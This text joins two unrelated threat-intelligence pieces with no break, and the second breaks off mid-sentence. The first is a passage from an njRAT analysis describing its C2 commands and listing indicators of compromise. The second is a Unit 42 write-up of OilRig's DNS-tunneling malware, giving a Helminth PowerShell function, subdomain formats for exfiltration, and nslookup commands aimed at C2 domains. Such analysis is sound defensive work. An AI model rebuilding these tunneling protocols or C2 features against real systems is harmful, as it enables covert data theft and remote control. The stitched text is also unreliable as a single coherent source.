“kl” command Exfiltrate the keylogger’s log file. The content of the Logs variable, which is the output of the keylogger described above, is Base64 encoded and exfiltrated to the C2 server. ### “inf” command Retrieve information about the volume serial number and malware configuration (C2 server, process name, etc.). The file checks the “HKCU\Software\49e91d08e684b1770e0cefa60401157a\vn” registry value, which doesn’t exist at this time. The binary extracts again the volume serial number for the C drive and combines it with the following information: C2 server, C2 port number, the AppData folder, the name of the executable, and the process name. The resulting string is transmitted to the C2. ### “prof” command **Case 1** – “prof|’|’|~|’|’|<RegistryValue>|’|’|<Data>” – create a registry value in a specific registry key. The malware creates a value under “HKEY_CURRENT_USER\Software\49e91d08e684b1770e0cefa60401157a” and writes some data to it. **Case 2** – “prof|’|’|!|’|’|<RegistryValue>|’|’|<Data>” – create a registry value in a specific registry key and retrieve the “!” registry value. The binary repeats the same operation from above. The RAT is looking to extract a value called “!” from the same registry key. The value’s content is sent to the C2 server. **Case 3** – “prof|’|’|@|’|’|<RegistryValue>” – delete a registry value from a specific registry key. njRAT deletes the specified value from the same registry key. ### “rn” command **Case 1** – “rn|’|’|<Extension>|’|’|<URL>” – download and run a file from the URL. The executable downloads the resource specified by the URL and stores the result as a Byte array by calling the DownloadData method. The array computed above will be stored in a file that is created in the TEMP directory. The file name is randomly generated and consists of 10 lowercase letters. The new file is executed by calling the Start function, and a confirmation message is transmitted to the C2. **Case 2** – “rn|’|’|<Extension>|’|’|<Base64 (Gzip compressed executable)>” – decode, decompress, and execute the executable. The file decodes the Base64 encoded content and then decompresses it using the ZIP function (depending on the flag, this function could also be used to Gzip compress content). As in the first case, the content will be written to a file in the TEMP directory, and a confirmation message is sent to the C2 server. ### “inv|’|’|<RegistryValue>|’|’|<String1>|’|’|<String2>” command njRAT has plugins that can be downloaded, saved in registry keys, and then executed. The RAT checks the existence of the RegistryValue value under “HKCU\Software\49e91d08e684b1770e0cefa60401157a”. Whether the above value doesn’t exist and array[3] has a length of 1, the malware sends a message to the C2 and finishes the command. Whether the above value exists, its content is decoded using Base64, and a different message is forwarded to the C2 server. From our analysis, this file is supposed to be a plugin of njRAT. The assembly is loaded via a function call to Assembly.Load and all the modules that are part of it are extracted using the GetModules method. The binary extracts the types defined in each module and expects some of them to have a name that ends with “.A” (a class called “A” should be defined). For each of these types found, the process creates an instance of it using the system activator. The binary calls the LateSet method multiple times in order to execute multiple late-bound field write calls. Basically, variables such as “h”, “p”, “osk”, “off” are set to OK.H (C2 domain), OK.P (C2 port number), array[2] (this is provided by the C2) and “true”. The malware calls the plugin’s function called “start”. Whether the registry value mentioned above doesn’t exist and array[3] has a length greater than 1, array[3] is Base64 decoded, and then Gzip decompressed. The RegistryValue value is created under “HKEY_CURRENT_USER\Software\49e91d08e684b1770e0cefa60401157a”. The content from above that was decompressed is encoded using Base64 and stored in this value. The same steps starting with loading the assembly are executed one more time. ### “ret|’|’|<RegistryValue>|’|’|<String>” command Similar to the “inv” command, this command can be used to execute a malicious assembly found in a registry key or transmitted by the C2 server. The process checks the existence of the RegistryValue value under “HKCU\Software\49e91d08e684b1770e0cefa60401157a”. Whether the above value doesn’t exist and array[2] has a length of 1, the malware sends a message to the C2 and finishes the command. Whether the above value exists, its content is decoded using Base64, and a different message is forwarded to the C2 server. The same execution flow as above is followed. A variable called “GT” is retrieved by calling the LateGet method; it is encoded using the Base64 algorithm and exfiltrated to the C2 server. Whether the registry value mentioned above doesn’t exist and array[2] has a length greater than 1, array[2] is Base64 decoded, and then Gzip decompressed. The RegistryValue value is created under “HKEY_CURRENT_USER\Software\49e91d08e684b1770e0cefa60401157a”. The content from above that was decompressed is encoded using Base64 and stored in this value. The same steps starting with loading the assembly are executed again. ### “CAP|’|’|<Width>|’|’|<Height>” command Take screenshots. The RAT creates a new Bitmap object used to create a new Graphics object by calling the Graphics.FromImage function. The CopyFromScreen method is utilized to perform a bit-block transfer of color data from the screen to the Graphics object. The binary initializes a new instance of the Rectangle class with a specific position and size and then draws the cursor on the Graphics object within the bounds. This command is used to take screenshots. GetThumbnailImage is utilized to obtain a thumbnail for the bitmap image, which is saved in the jpeg format using the Image.Save function. The malware computes the MD5 hash of the image. The JFIF file is exfiltrated to the C2 server byte-by-byte. ### “P” command “Ping”. The process just sends the “P” letter to the C2. ### “un” command **Case 1** – “un|’|’|~” – completely uninstall the RAT. The NtSetInformationProcess API is used to set the process as “normal” (it can be killed without crashing the OS and resulting in a BSOD, 0x1d = 29 = BreakOnTermination). The binary deletes the value created for persistence at “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\49e91d08e684b1770e0cefa60401157a”. njRAT deletes the configured program exception from Windows Firewall. The “HKCU\Software\49e91d08e684b1770e0cefa60401157a” registry key is deleted, and the initial executable file is deleted as well. **Case 2** – “un|’|’|!” – kill the current process. The malicious process repeats the NtSetInformationProcess API call from above and exits. **Case 3** – “un|’|’|@” – restart the current process. The binary repeats the NtSetInformationProcess API call from above and spawns the initial executable. ### “up” command **Case 1** – “up|’|’|<URL>” – similar to the “rn” command, it’s used to update the RAT. DownloadData is utilized to download an executable from a URL specified by the C2 server. The malicious process creates a registry value at “HKCU\di” and saves the downloaded content in a randomly generated file name located in the TEMP directory. The malware sends a message to the C2 server regarding the update confirmation. The newly created executable is run with the “UP:” parameter that contains the current process ID. When the “HKCU\di” value is equal to “!”, then the malware executes the uninstall operation. **Case 2** – “up|’|’|<Base64 (Gzip compressed executable)>” – similar to the “rn” command, it’s used to update the RAT. The RAT decodes the Base64 encoded content and then decompresses it using the ZIP function. The execution flow that starts with creating the “HKCU\di” key is followed one more time. ### “RG” command **Case 1** – “RG|’|’|~|’|’|<RegistryKey>” – enumerate the registry key. The process opens the specified registry key using the GetKey function. The executable constructs a string based on the registry key from above, which will be exfiltrated later on. The GetSubKeyNames and GetValueNames methods are used to retrieve an array of strings that contains the subkey names and the value names associated with the key. The concatenation of the arrays is transmitted to the C2. **Case 2** – “RG|’|’|!|’|’|<RegistryKey>|’|’|<RegistryValue>|’|’|<Data>|’|’|<Type>” – create and set a registry value. The SetValue function is utilized to create a value under the specified registry key, which contains data provided above. **Case 3** – “RG|’|’|@|’|’|<RegistryKey>|’|’|<RegistryValue>” – delete a registry value. The DeleteValue method is used to delete the specified value from the registry key. **Case 4** – “RG|’|’|#|’|’|<RegistryKey>|’|’|<SubKey>” – create a sub key. CreateSubKey is used to create a new subkey. **Case 5** – “RG|’|’|$|’|’|<RegistryKey>|’|’|<SubKey>” – delete a sub key and any child sub keys recursively. DeleteSubKeyTree is utilized to delete the subkey and any child subkeys recursively. ## INDICATORS OF COMPROMISE **C2 domain:** 44gang44.duckdns[.]org:2222 **SHA256:** 833f86074592648c0a758098e34ab605a2b922d94dbab7141e2ce87acec03c35 **Registry keys and values:** - HKCU\Software\49e91d08e684b1770e0cefa60401157a - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\49e91d08e684b1770e0cefa60401157a - HKCU\di **Files:** - C:\Users\<User>\AppData\Roaming\services64.exe - C:\Users\<User>\AppData\Roaming\services64.exe.tmp **Mutex:** 49e91d08e684b1770e0cefa60401157a
# DNS Tunneling in the Wild: Overview of OilRig’s DNS Tunneling **By Robert Falcone** **April 16, 2019** **Category: Unit 42** **Tags: ALMA Communicator, BONDUPDATER, dns tunneling, Helminth, ISMAgent, OilRig, QUADAGENT** On March 15, Unit 42 published a blog providing an overview of DNS tunneling and how malware can use DNS queries and answers to act as a command and control channel. To supplement this blog, we describe a collection of tools that rely on DNS tunneling used by an adversary known as OilRig. Unit 42 has been tracking the OilRig threat group since early 2016, resulting in over a dozen blogs describing various attacks carried out by this adversary. We have been covering the various tools OilRig uses in their operations, many of which rely on DNS tunneling to communicate between infected hosts and their command and control (C2) server. The repeated use of DNS tunneling clearly represents one of their preferred communication methods; therefore, we chose to publish an overview of OilRig’s tools that use various DNS tunneling protocols. A high-level analysis of the tunneling protocols used by these tools suggests: - All subdomains contain a randomly generated value to avoid the DNS query resulting in a cached response. - Most rely on an initial handshake to obtain a unique system identifier. - Most rely on hardcoded IP addresses within the DNS answers to start and stop data transfer. - Data upload includes a sequence number that allows the C2 to reconstruct the uploaded data in the correct order. - Depending on the tool, A, AAAA, and TXT query types have been used by OilRig for tunneling. - All of the DNS tunneling protocols will generate a significant number of DNS queries. This blog will dive deep into the DNS tunneling protocols used by OilRig’s tools Helminth, ISMAgent, ALMACommunicator, BONDUPDATER, and QUADAGENT. Each of these tools uses DNS queries and the answers to these queries to communicate back and forth with its C2 server. Not only will this blog discuss the structure of the queries and the responses, but it will also show these protocols in action with screenshots of Wireshark displaying how the tunnels would look within a packet capture. ## Tool Overview OilRig delivered Trojans that use DNS tunneling for command and control in attacks since at least May 2016. Since then, the threat group has introduced new tools using different tunneling protocols to their toolset. Regardless of the tool, all of the DNS tunneling protocols use DNS queries to resolve specially crafted subdomains to transmit data to the C2 and the answers to these queries to receive data from the C2. Therefore, the protocols must abide by the DNS protocol, so the specially crafted subdomains must have labels (portions of the subdomain separated by periods) that start and end with a letter or digit, contain letters, digits, and hyphens, and be less than 63 characters in length. Also, the entire domain queried, which includes the C2 domain and the specially crafted subdomain, cannot exceed 253 characters. The protocol used by each of the five tools to communicate with its C2 via DNS tunneling differs in many ways. First, the structure of the subdomains queried that the tools use to transmit information to the C2 differs. Next, the structure of the data received by the Trojans from the C2 in the answers to the DNS queries differs as well. The structure of the subdomains used to transmit data differs dramatically, both in the amount of data included and the encoding used to represent the data. The two encoding methods used by these tools to transmit data within the subdomains include base16 and base64 encoded data. The encoding method greatly impacts the amount of data the tool is able to transmit in the subdomain of each query, as base16 requires 2 ASCII characters to represent each byte of data, so each character byte within the subdomain can transmit half (.5) a byte of data. Compare this with the use of base64 to encode the data, in which each character of base64 encoded data in the subdomain represents 6-bits (.75 bytes) of the data. This makes the base64 encoding more effective from a transmission throughput perspective. The DNS query type used by the Trojan for its tunnel greatly affects the amount of data that the C2 can transmit to the Trojan for each query. For instance, the tools that issue DNS A queries transmit data via IPv4 addresses within the answers, so the C2 is only able to transmit 4-bytes per query, whereas tools using AAAA queries can transmit 16-bytes within the IPv6 answer. | Tool | Bytes received per query | Characters for data per query | Data bytes sent per query | Data encoding in subdomain | |------------------|--------------------------|--------------------------------|---------------------------|-----------------------------| | Helminth | 4 | 48 | 24 | Base16 | | ISMAGENT | 16 | 13 | 9.75 | Base64 | | ALMA Communicator | 10 | 4 | 20 | Base16 | | BONDUPDATER | Original | 3 | 50 | Base16 | | Updated | 186.75 | 60 | 30 | Base16 | | QUADAGENT | 16 | 60 | 45 | Base64 | Another difference seen amongst the tools involves the type of DNS queries used to transmit and receive data, with each of the tools using DNS A, AAAA, or TXT queries. Lastly, how the Trojan issues DNS queries differs as well. Depending on the tool, DNS queries could be issued using the built-in ‘nslookup’ application, using methods within the “UdpClient” class, using methods “GetHostByName” and “GetHostAddresses” from the ‘DNS’ class, or using the DnsQuery API functions within the ‘Dnsapi’ library. | Tool | DNS Type | DNS Query method | Example C2 domain | |-------------------|----------|------------------------------------------------------|-----------------------------| | Helminth | A | [System.Net.DNS]::GetHostByName | go0gie[.]com | | ISMAgent | AAAA | DnsQuery_A | ntpupdateserver[.]com | | ALMACommunicator | A | DnsQuery_W | prosalar[.]com | | BONDUPDATER | A, TXT | [System.Net.Dns]::GetHostAddresses, System.Net.Sockets.UdpClient | poison-frog[.]club, withyourface[.]com | | QUADAGENT | AAAA | nslookup.exe, Resolve-DnsName | acrobatverify[.]com | In the upcoming sections, we will provide an in-depth analysis of the DNS tunneling protocols used by each of OilRig’s tools. ## Helminth There are several variants of Helminth, as the OilRig actors actively developed this Trojan during the course of their attack campaigns. The Helminth Trojan came in two forms, a portable executable version and a PowerShell version, both of which received updates to their DNS tunneling protocol over time. The DNS tunneling protocols used in each variant operated the same way, but the developer would make changes to the generated subdomains to make them look visually different to evade detection. For instance, the subdomain generation function used in three variants of PowerShell Helminth generates the subdomains with the same structure, but the first two characters differ from “00”, “zz” and “ww”. While the portable executable and PowerShell variants of Helminth generate different subdomains for their DNS tunneling, in this section we will focus on the PowerShell variant as it is easier to visualize. ```powershell function GetSub($myflag2, $cmdid='00', $partid='000') { if($myflag2 -eq 0) { ('00000000'+(convertTo-Base36(Get-Random -Maximum 46655))) } elseif($myflag2 -eq 1) { ('00'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655))) } elseif($myflag2 -eq 2) { ('00'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655))) } } ``` The Helminth variant that uses “00” as the first characters of generated subdomains is the first variant of this Trojan that we analyzed from an attack campaign on Saudi Arabian targets back in May 2016. During the explanation of the DNS tunneling, the “00” variant will be the main focus, but as the figures above suggest, the “ww” and “zz” variants are exactly the same just using different characters for the first two bytes of the subdomain. The Helminth variant relies on DNS Type A requests to resolve custom crafted subdomains at the C2 domain to obtain IPv4 answers that it will ultimately parse and treat as data. It issues these DNS queries using the GetHostByName method in the System.Net.DNS class. The Helminth tool will use the downloaded data to create a batch script that it will run and upload the results to the C2 via the DNS tunnel. To carry out this activity, the Helminth tool looks for two hardcoded IP addresses within the response to its initial DNS query. | IP Address | Description | |------------|-------------| | 33.33.x.x | Provides script filename and instructs the Trojan to start downloading data to save to the batch script. | | 35.35.35.35 | Instructs the Trojan to stop downloading data and to execute the downloaded batch script. | The Helminth Trojan initiates the conversation with its C2 server by issuing a DNS query to resolve a special subdomain that acts as a beacon. The C2 will respond to this beacon with an IPv4 address in the DNS answer that the Trojan will use to obtain a unique system identifier from the C2, specifically converting the number in the first octet of the IPv4 to a character and using this character to uniquely identify the system in subsequent DNS queries. The initial beacon to obtain a system identifier from the C2 has the following structure: ``` 00000000<base36 encoded random number less than 46655><sequence number “30”>.<c2 domain> ``` The next query includes the system identifier provided by the C2 as the third character in the subdomain, followed by the base36 encoded random number and the sequence number “30”, which represents the character “0”. This query has the following structure: ``` 00<system identifier>00000<base36 encoded random number less than 46655><sequence number “30”>.<c2 domain> ``` The C2 will respond to this query with an answer that contains an IPv4 address that is structured as “33.33.x.x”, which Helminth will treat the last two octets as integers (“x.x”) and converts them to characters to use as the name of the batch file used to store the downloaded script. Helminth will concatenate the “.bat” file extension to these two characters to create the batch script. To download data from the C2, Helminth will issue DNS queries that have the following structure, which is similar to the previous query used to obtain the filename, however, these requests include a hardcoded string “232A” followed by the hexadecimal representation of the two characters used for the filename: ``` 00<system identifier>00000<base 36 encoded random number less than 46655>232A<hexlified characters for filename><sequence number>.<c2 domain> ``` The C2 server will begin providing IPv4 addresses that the Trojan will treat each octet as the base10 representation of the binary data. The Trojan will write each byte to the batch file and continue to do so until the C2 provides the IPv4 address of “35.35.35.35” as a DNS answer, which instructs the Trojan to stop writing data to the file and run the file as a batch script. Once it receives the “35.35.35.35” address, Helminth will run the downloaded batch script and save the output of the script to a text file whose name has the same two characters as the batch script. For instance, in the above example the Trojan would save the output of the “aa.bat” script to “aa.txt”. The Trojan will upload the contents of this text file to the C2 server via a series of DNS queries that have the following structure: ``` 00<system identifier><characters for filename><sequence number><base 36 encoded random number less than 46655><up to 48 characters for a maximum of 24-bytes of hexlified data>.<c2 domain> ``` The Trojan splits the contents of the text file up into 24-byte chunks and converts each byte into its hexadecimal representation. Helminth will include the hexadecimal representation of these bytes within the subdomain and will issue a DNS query to transmit the data to the C2 server. The Trojan will continue this process until all of the 24-byte chunks are sent to the C2, with each query including an incrementing sequence number. Helminth does nothing with the C2 server’s answer to these queries, as it just makes sure the DNS server responded with any answer. ## ISMAgent OilRig has used the ISMAgent tool in targeted attacks, one of which we publicly discussed in our blog titled OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. OilRig’s use of this tool was an interesting discovery, as ISMAgent uses a DNS tunneling protocol very similar to another tool called ISMDoor that had been linked to another group called Greenbug. Researchers have already explained ISMDoor’s tunneling protocol here, so we will focus on explaining ISMAgent’s DNS tunneling protocol. ISMAgent uses the DnsQuery_A API function to issue DNS AAAA requests to resolve custom crafted subdomains at an actor-owned domain to send data to and receive commands from OilRig. The Trojan will initiate data transfer by issuing a beacon that contains a unique session identifier generated by calling the CoCreateGuid API function and using the resulting GUID with its hyphens removed. ISMAgent then uses this session identifier within a subdomain with the following structure that it will attempt to resolve: ``` n.n.c.<GUID used for session ID>.<c2 domain> ``` ISMAgent performs an AAAA query to resolve the domain, which effectively notifies the C2 that it is about to send data. If the C2 is operational, it will respond to this beacon with an IPv6 address to acknowledge that it received the beacon and is ready to handle the data ISMAgent will attempt to send it. After receiving the acknowledgment IPv6 from the C2 server, the Trojan builds a string that has the following structure: ``` http://<IP of C2 domain>/action2/<base64 encoded computername\username>|| ``` ISMAgent will base64 encode the string above (converting “=”, “/” and “+” to “-“, “-s-“ and “-p-” respectively) and then sends the encoded data to the C2 in a series of DNS queries to resolve domains that have the following structure: ``` <up to 13 characters of base64 encoded data>.<iterating sequence number>.d.<GUID used for session ID>.<c2 domain> ``` The C2 will respond with a hardcoded IPv6 of “a67d:0db8:85a3:4325:7654:8a2a:0370:7334” to tell the Trojan that it received the data and to continue sending data. Once it has sent all the data to the C2 server, ISMAgent will issue a query to resolve a domain with the following structure to notify the C2 server it is done sending data: ``` n.<number of queries issued to send data>.f.<GUID used for session ID>.<c2 domain> ``` ## ALMA Communicator While tracking OilRig, we observed the threat group delivering two different variants of a tool called ALMA communicator as a payload. The two variants use DNS tunneling as their C2 channel, but the structure of the domains generated differs enough to describe them separately. ### ALMA dash The dash variant of ALMA was the first ALMA Communicator variant we discovered and was the focal point of our blog titled OilRig Deploys “ALMA Communicator” – DNS Tunneling Trojan. Like other tools used by OilRig, ALMA uses two separate folders named “Download” and “Upload” to store files that it receives from the C2 and to store files that it will exfiltrate to the C2. The ALMA dash tool will use a custom DNS tunneling protocol to download files provided by the C2 server and save these files in the “Download” folder. ALMA dash will routinely check the contents of the second folder named “Upload” and use the custom DNS tunneling protocol to exfiltrate the contents of each file in this folder. ALMA dash’s custom DNS tunneling protocol relies on DNS A record queries to resolve custom crafted subdomains at the actor-controlled C2 domain. ALMA dash builds the subdomains and uses the DnsQuery_W function to issue these DNS queries. OilRig transmits data via IPv4 addresses within the answers to these queries, which ALMA will save to the “Download” folder and execute using CreateProcessA with the command line of “cmd /c <downloaded file>”. The results of the command are saved to a file in the “Upload” folder that ALMA will exfiltrate to the C2 server. ALMA dash generates a unique identifier for the system by gathering the user name and Windows product key and combining the two strings together with an underscore (“_”) between them. The Trojan obtains the username via the GetUserNameA function and gathers the Windows product id by querying the registry, specifically the key SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId. ALMA will then generate the MD5 hash for this string and use characters at specific offsets (offsets 1, 5, 9, 13, 17, 21, 25, and 29) in this MD5 hash to create an 8-character string that it will use as the unique identifier for the system. With the unique identifier created, ALMA dash initiates communications with the C2 server by sending a beacon to the C2 server using a DNS query to resolve a custom crafted subdomain at the actor-controlled C2 domain. ALMA issues these beacons to notify the C2 that it seeks to download data. ``` [random number between 1-9998]ID[unique identifier from MD5 hash of system information][sequence number]-0-2D-2D.[C2 domain] ``` The authoritative DNS server for the C2 domain will send data to ALMA dash within the IPv4 answers to the query. The DNS server will use a hardcoded IPv4 address of 36.37.94.33 within the answer to instruct the Trojan to begin treating all future IPv4 addresses within answers as data. To obtain the entire data stream, ALMA dash will continue to issue queries to resolve subdomains using the format above; however, ALMA will generate a new random number each query to avoid caching. ALMA dash will continue to send queries until it receives the IPv4 address of 33.33.94.94, which the C2 server will send when it is finished sending data. To exfiltrate data from the system to the C2 server, ALMA dash variants will read the contents of the files in the “Uploads” folder and send their contents to the C2 via a series of DNS queries. The DNS queries have a similar structure as the initial beacon, as these requests will start with a random number, the string “ID” and the unique identifier created based on the MD5 hash generated for the system information gathered by the Trojan. The differences include the hardcoded string of “0-2D-2D", which is no longer used but will be replaced by the following: - 0 – This will contain the number of DNS queries the Trojan will request to transmit the entire data. - 2D – This will contain 20 or fewer characters that represent 10-bytes of data from the exfiltrated file in hexadecimal format. - 2D – This will contain 16 or fewer characters that represent the first 8-bytes of the filename being exfiltrated in hexadecimal format. The resulting structure for the data exfiltration queries is as follows: ``` [random number between 1-9999999]ID[unique identifier from MD5 hash of system information]-[number of requests needed to transfer data]-[20 characters or less for hexlified data]-[16 characters or less for hexlified filename].[c2 domain] ``` ### ALMA dot This variant of ALMA is very similar to the ALMA dash variant; however, the information sent to the C2 server and specific formatting of the data within the DNS tunneling protocol differ. In addition to the user name and ProductId gathered by the dash variant of ALMA, the dot variant also gathers the computer name and the serial number of "\\.\PhysicalDrive" and concatenates the system information using an underscore ("_") to split up the fields. Like the dash variant, the dot variant generates the MD5 hash of the gathered information and uses it as a unique identifier, but instead of using a shortened version of this hash, the dot variant uses the entire MD5 hash as the unique identifier. The initial beacon to the C2 is structured slightly differently than the dash variant and results in drastically different subdomains, specifically having the following format: ``` [random number between 1-9999999].MD5 hash for unique identifier.[sequence number].0.2D.2D.[c2 domain] ``` To receive data from the C2, the Trojan will process the IPv4 addresses within the answers to the DNS query. Like the dash variant, the dot variant of ALMA uses the following two IP addresses to mark the beginning and end of the data transmission: - Start – 36.37.94.33 - End – 33.33.94.94 When exfiltrating data via the DNS tunnel, the ALMA dot variant has a similar but different structure than the dash variant and can transmit three times the amount of data per request. The following structure shows that the dot variant exfiltrates 60 characters of hexlified data (30 bytes) and another 60 characters of hexlified data (30 bytes) that represents the filename that the data is exfiltrated from: ``` [random number between 1-9999999](IDID|idid)[MD5 hash for unique identifier].[sequence number].[total count in sequence].[60 or less characters for hexlified data].[60 or less characters for hexlified filename].[c2 domain] ``` ## BONDUPDATER OilRig has used the BONDUPDATER tool in its attack campaigns as far back as mid-2017 according to FireEye’s research. There were two known variants of BONDUPDATER prior to our discovery of a new variant of BONDUPDATER delivered in a targeted attack on a Middle Eastern government organization in August 2018. The early variants of BONDUPDATER used DNS A record queries for its DNS tunnel using the “GetHostAddresses” method in the System.Net.Dns class. The later variant of BONDUPDATER relied on raw sockets provided by the System.Net.Sockets.UdpClient class to issue both DNS A and TXT lookups to facilitate the DNS tunnel. The use of multiple DNS query types makes the two BONDUPDATER variants dramatically different, so we will describe each separately. ### Early BONDUPDATER The initial BONDUPDATER samples used DNS A queries exclusively to set up its communication tunnel with its C2 server. Depending on the sample, the subdomains generated by this variant of BONDUPDATER would differ slightly, but the overall purpose of this variant of BONDUPDATER is to use a DNS tunnel to download a new PowerShell and/or VBScript script from the C2 to execute. The initial BONDUPDATER variant issues a beacon in the form of a DNS A request to the C2 server. To build this beacon, the Trojan will create a subdomain that contains a random number, a sequence number, and a unique system identifier. The Trojan will first create a unique system identifier by executing the “whoami” command and using the first 12 characters of output as the identifier. The sequence number in the subdomain allows the Trojan to notify the C2 of the offset within the data that it is requesting, which is “000” for the initial beacon. The Trojan uses the following structure for the initial beacon: ``` <random number between 10-99, 1-6 digits worth><action value, “0” for beacon><sequence number><unique system identifier>B007.<C2 domain> ``` If the C2 wishes to send data to the Trojan, it will respond with an IPv4 address within the answer that starts with “24.125” as the first two octets. The Trojan will treat the remaining two octets as characters that it will use as a filename to save the data provided by the C2. The Trojan will use the last character of the filename to determine how to handle the data provided by the C2. | Last digit in Filename | Description | |------------------------|-------------| | 0 | Treat data as PowerShell commands to execute | | 1 | Write data to <filename>.ps1 | | 2 | Write data to <filename>.vbs | Once it creates the file, BONDUPDATER will begin sending DNS queries to request IPv4 answers that it will treat as data. The Trojan will use the same query structure as the beacon, but will use an action value of “1” and begin incrementing the sequence number in the subdomain by 3 upon each request for data. The sequence number corresponds to the offset of the data that the C2 server will send, which it will transmit three bytes at a time within the first, second, and third octets of the IPv4 address. The C2 will provide the current sequence number within the fourth octet of the IPv4 address, which echoes the sequence number back to the Trojan to confirm it is the correct data chunk. If the Trojan successfully downloads the data from the C2 server, it crafts another subdomain that it will query to notify the C2 of the successful data transfer. This subdomain includes the system-specific identifier from the beacon, but also includes up to 25 bytes of hexadecimal bytes of the output from the “whoami” command that was used to craft the unique system identifier. We believe that BONDUPDATER would use this structure to transmit data back to the C2 server if desired. ### Updated BONDUPDATER The updated BONDUPDATER that OilRig used in a 2018 attack on a Middle Eastern government organization had the same DNS tunneling protocol as the previously described variant; however, it could also use a different tunneling protocol that used a combination of DNS A and TXT queries for data transfer. The updated BONDUPDATER uses the same DNS tunneling protocol using DNS A queries, specifically looking for an IPv4 address starting with “24.125” to get the filename to save the data to and “11.24.237.110” if the C2 wishes to terminate the Trojan. The updated BONDUPDATER also looks for an IPv4 address of “99.250.250.199”, which instructs the Trojan to begin using the alternate DNS tunnel that issues DNS TXT queries to transfer data. Regardless of which DNS tunneling protocol the Trojan uses, the subdomains crafted have a different structure from the previously known variant. The format of the generated domains for both sending and receiving starts with the previously generated GUID created to uniquely identify the system. However, the Trojan inserts a part number value and an action type character into this GUID string at random offsets. The part number value is a three-digit string that corresponds to the chunk of data the Trojan is attempting to transmit. The action type is a single character that notifies the C2 of the type of communication the Trojan is carrying out. The two static characters “C” and “T” in the subdomain surround two digits, which help the C2 server find the part number and action type mixed in within the GUID string at random offsets. The structure of the subdomains previously described is as follows, with the indexes for the part number and action representing a zero-based indexed string (0 is the first character of the string): ``` <GUID with part number and action character><sequence number><between 1 and 7 random characters>C<index of part number><index of action>T.<C2 domain> ``` The initial beacon from the Trojan to the C2 uses an action type of “M” and a part number of “000”, as the Trojan is not attempting to transmit any data. If the C2 wishes to send data to the Trojan, it will respond to the beacon with the IPv4 address “99.250.250.199” to instruct BONDUPDATER to use the new TXT-based DNS tunnel. To obtain commands from the C2 server, BONDUPDATER will request a filename from the C2 server via a beacon that uses a DNS TXT query with “W” as the action value. BONDUPDATER will not only use this filename to write downloaded data to, but it will also use the trailing character of the filename as the command to run. The C2 server will respond to this DNS TXT query with TXT answers that start with an instruction that tells BONDUPDATER how to process the data. A greater than (“>”) character will immediately follow the instruction within the TXT answer, in which the Trojan will treat the characters that follow the greater than character as data. To execute a command on the system, the C2 would respond to the “W” TXT beacon with the instruction “S000s” followed by the greater than (“>”) character and a filename that ends in a character that ends in “0”. With the filename obtained, the Trojan will begin issuing DNS TXT queries with an action of “D” to download data from the C2. The C2 server will respond to these requests with an instruction of “S0000”, followed by the first chunk of base64 encoded data that is the command. BONDUPDATER waits to receive an instruction from the C2 server that starts with “E” before writing the downloaded data to the supplied filename. After receiving the “E” instruction, the Trojan will write the base64 decoded data to the file and process the newly created file. To upload data to the C2 server, the updated BONDUPDATER variant will use DNS A requests to transmit the data within the crafted subdomain. The structure of this subdomain differs from the DNS A and TXT requests meant to receive data, as these subdomains include segments for the filename and the data itself. To send data to the C2, the Trojan will issue DNS A queries to resolve domains with the following structure: ``` <GUID with part number and action character of “2”><sequence number><between 1 and 7 random characters>C<index of part number><index of action>T.<data chunk>.<filename>.<c2 domain> ``` The data segment of the subdomain can be a maximum of 60 characters long, so BONDUPDATER will split the data to exfiltrate into 30-byte chunks and encode the data using a specific encoding mechanism. ## QUADAGENT OilRig has used the QUADAGENT tool in targeted attacks, one of which we publicly discussed in our blog titled OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. QUADAGENT is capable of using DNS tunneling to communicate with its C2 server using DNS queries to resolve custom crafted subdomains of a C2 domain. The DNS tunneling protocol uses AAAA queries to transmit and receive data between the infected system and its C2 server. Depending on the version of Windows, the payload will use a different method to issue the queries: - Windows 8+: `Resolve-DnsName -Name <generated subdomain>.<c2 domain> -Type AAAA -DnsOnly` - Windows 7: `nslookup.exe -q=aaaa <generated subdomain>.<c2 domain>` At a high level, QUADAGENT communicates with its C2 server to obtain a PowerShell script that it will replace itself with, which essentially updates the Trojan with a secondary payload. To carry out this updating functionality, QUADAGENT follows a sequence of steps that involves: 1. Obtaining a session identifier and pre-shared key. 2. Confirming the correct session identifier. 3. Downloading the PowerShell script. 4. Confirming the download and execution. The first step to set up communications between QUADAGENT and the C2 involves an initial handshake to obtain a session ID and pre-shared key. To obtain its session id and pre-shared key, the payload will issue a query to resolve the following domain, which acts as the initial beacon: ``` mail.<random number between 100000 and 999999>.<c2 name> ``` This request is to notify the C2 server that the payload is about to send system-specific data as part of the initial handshake. The system-specific data sent to the C2 server is in the following format: ``` <domain>\<username>:pass ``` The above string is encoded using a custom base64 encoder to strip out non-alphanumeric characters ("=","/" and "+") from the data and replaces them with domain-safe values ("01", "02" and "03" respectively). QUADAGENT will issue a DNS query to resolve a domain with the following structure to send this encoded system data to the C2: ``` <encoded system data>.<same random number between 100000 and 999999 above>.<c2 name> ``` The C2 server will respond to these requests by providing a session identifier to uniquely identify the compromised system and pre-shared key encrypt data sent via the DNS tunnel. To transfer this data to QUADAGENT, the C2 server will respond to the last DNS query with an IPv6 address that contains a number that the Trojan will use to determine how many DNS requests it must issue to download the data from the C2 server. To receive the data, QUADAGENT will issue DNS requests to resolve subdomains of the C2 domain that start with “www” followed immediately by a sequence number of the chunk of data the Trojan currently seeks. The Trojan will issue queries to resolve the domains with the following structure until it has reached the count value provided by the C2. Once it receives all the data, the Trojan issues a query to resolve “www.” to notify the C2 that it received all the data. The C2 can respond to the query to resolve the “ns2.” domain with pipe-delimited (“|”) data that QUADAGENT will parse and handle in one of two ways depending on fields provided. ## Conclusion The OilRig group has repeatedly used DNS tunneling as a channel to communicate between their C2 servers and many of their tools. This threat group saw the benefits of using DNS tunneling, as DNS is almost universally allowed through security devices. One major drawback of using DNS tunneling is the high volume of DNS queries issued to transmit data back and forth between the tool and the C2 server, which may stand out to those monitoring DNS activity on their networks. While all DNS tunneling protocols have to abide by the standardized DNS protocol, not all of the tunneling protocols used by OilRig are equal from an efficiency or blending-in standpoint. Data transmission using these DNS tunnels uses specially crafted subdomains, which can transmit more data per query by designating more of the characters within the subdomain as data. It is also obvious that the use of base64 encoding is more efficient than base16 in these protocols, as each character of base64 